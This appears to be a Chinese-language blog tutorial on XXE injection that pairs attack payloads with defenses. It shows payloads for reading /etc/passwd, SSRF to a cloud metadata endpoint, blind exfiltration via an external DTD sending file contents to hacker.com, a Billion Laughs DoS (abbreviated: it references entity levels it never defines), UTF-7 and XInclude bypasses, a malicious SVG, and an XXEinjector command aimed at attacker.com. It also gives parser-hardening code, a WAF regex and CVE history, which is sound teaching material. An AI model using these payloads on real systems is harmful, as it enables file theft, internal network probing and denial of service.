1. XXE漏洞核心原理
XXE(XML External Entity,XML外部实体注入) 是一种利用XML解析器加载外部实体的漏洞,可导致:
-
敏感文件读取(/etc/passwd)
-
内网服务扫描(SSRF)
-
拒绝服务攻击(DoS)
-
远程代码执行(特定条件下)
高危组件:
⚠️ libxml2(PHP/Python)
⚠️ Java SAX/DOM解析器
⚠️ .NET XmlDocument
2. 攻击类型与利用方式
(1) 文件读取(经典XXE)
<!DOCTYPE xxe [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user>&file;</user>
输出结果:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
(2) SSRF攻击(内网探测)
<!DOCTYPE xxe [
<!ENTITY http SYSTEM "http://169.254.169.254/latest/meta-data">
]>
<data>&http;</data>
(3) 盲XXE(数据外带)
<!DOCTYPE xxe [
<!ENTITY % dtd SYSTEM "http://hacker.com/evil.dtd">
%dtd;
]>
evil.dtd内容:
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://hacker.com/?data=%file;'>">
%exfil;
(4) DoS攻击(Billion Laughs)
<!DOCTYPE xxe [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<root>&lol9;</root> <!-- 指数级实体扩展 -->
3. 高级绕过技术
(1) UTF-7编码绕过
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE xxe +AFs-
+ADwAIQ-ENTITY file SYSTEM +ACI-file:///etc/passwd+ACIAPg-
+AF0APg-
(2) XInclude攻击(当XXE被禁用时)
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</root>
(3) SVG文件XXE
<!-- evil.svg -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg>
<text>&xxe;</text>
</svg>
4. 自动化利用工具
工具 | 功能 |
---|---|
XXEinjector | 自动化文件读取/SSRF |
OXML_XXE | Office文件XXE检测 |
Burp Collaborator | 盲XXE检测 |
XXEinjector示例:
ruby XXEinjector.rb --host=attacker.com --file=req.xml --path=/etc/passwd
5. 防御方案
(1) 禁用DTD(最彻底方案)
// Java示例
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
(2) 实体白名单(Python lxml)
from lxml import etree
parser = etree.XMLParser(resolve_entities=False)
(3) 云环境加固
-
AWS Lambda禁用外部网络访问
-
Kubernetes Pod安全策略限制
readOnlyRootFilesystem
(4) 文件上传过滤
-
检测XML文件魔术字
<?xml
-
转换SVG为纯图片格式(使用Imagemagick)
6. 历史重大漏洞
CVE | 影响范围 | 后果 |
---|---|---|
CVE-2017-9805 | Struts2 REST插件 | RCE |
CVE-2019-17531 | Apache Solr | 文件读取 |
CVE-2021-29447 | WordPress | 服务器信息泄露 |
Struts2攻击链:Content-Type: application/xml
→ OGNL表达式注入
→ RCE
7. 安全开发实践
-
代码审计重点
-
DocumentBuilderFactory
-
XmlReader
-
XPathExpression
-
- WAF规则示例
^<!ENTITY.*SYSTEM\s*["'].*file:
-
应急响应步骤
-
立即禁用XML解析功能
-
审计日志搜索
<!ENTITY
-
更新所有XML处理库
-
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容